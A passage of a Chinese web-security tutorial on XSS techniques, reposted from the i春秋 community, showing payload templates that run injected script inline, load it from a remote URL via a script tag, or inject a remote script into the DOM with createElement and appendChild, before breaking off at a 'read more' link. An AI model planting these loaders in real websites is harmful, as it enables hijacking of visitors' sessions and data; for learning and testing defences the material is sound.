zoukankan      html  css  js  c++  java
  • [深入学习Web安全](11)之XSS玩法

    [深入学习Web安全](11)之XSS玩法

    本文转自:i春秋社区

    前言
    这篇paper,我们将学习如何优雅的调戏XSS。我们会教大家一些不常用的,但很实用的XSS姿势。我们在正式进入主题之前,先来说一下,该篇paper将涉及的内容:


    正文
    如何调用XSS Shellcode?
    我们先来学习一下,如何去调用我们的XSS Shellcode,嘿嘿。我们来看这种方式:
    [XHTML] 纯文本查看 复制代码
    1
    <script>[你的Shellcode]</script>

    我们是通过script标签来执行JS,也就是我们的Shellcode,我们再来看下一种:
    [XHTML] 纯文本查看 复制代码
    1
    <script src=[你的Shellcode的URL]></script>

    这里,我们是使用script标签的src属性从远程调用了我们的JS文件,来实现调用Shellcode。我们除了使用script标签来调用我们的Shellcode,还可以使用JS代码将我们的script标签注入到DOM内实现执行我们的Shellcode:
    [XHTML] 纯文本查看 复制代码
    1
    2
    3
    var s = document.createElement("script");
    s.src = "[你的Shellcode的URL]";
    document.body.appendChild(s);

    这样就能将远程的js代码注入到我们的DOM,我们来讲一下,这段代码的含义:
    1.首先,我们通过var定义了一个变量s,用来接收document.createElement("script")的返回值,这个返回值是一个对象,于是s就变成了一个变量。
    2.我们的createElement方法,是用来创建一个元素的,这个方法在XSS的攻击中十分常用,它的参数就是字符型的要创建的元素的标签名。
    3.我们接着给s对象的src属性,赋值为我们的Shellcode的URL,使用createElement方法创建的元素对象具有该元素标签的所有属性,直接赋值就可以了。
    4.接下来,我们向docuement的body中插入了该对象,使用了appendChild方法。
    这就是我们这段代码的作用与原理,十分简单,大家自行体会一下。我们接着看下一种方法,这种方法是记录在《XSS跨站脚本攻击剖析与防御》一书中的。但是,我个人不认为这个方法很好用,但是,我们还是来提一下。
    这个方法利用了document.location.hash,我们来看一下,如何去利用的,我们创建如下demo文件:


    <ignore_js_op> 


    我们在浏览器上访问该文件,如下:


    <ignore_js_op> 


    我们可以看到alert的内容是空的,接着,我们在整个URL后面添加"#www.ichunqiu.com",如图:


    <ignore_js_op> 


    我们注意到,document.location.hash取到的就是URL中#号,及#号以后的内容。
    接着,我们再来讲一个substr方法,我们创建如下demo文件:


    <ignore_js_op> 

    ....................................................文件较长就分享到这里,想查看全文请点击下面,
     

     

  • 相关阅读:
    (void) (&_x == &_y)的作用
    GNU C 与 ANSI C(下)
    GNU C 与 ANSI C(上)
    “多个单核CPU”与“单个多核CPU”哪种方式性能较强?
    ARM 处理器寻址方式之间接寻址的几种表达
    Video for Linux Two API Specification
    UVC 驱动调用过程与驱动框架的简单分析
    线程安全
    合法的立即数的判断
    Redis的Java客户端Jedis
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/5842775.html
Copyright © 2011-2022 走看看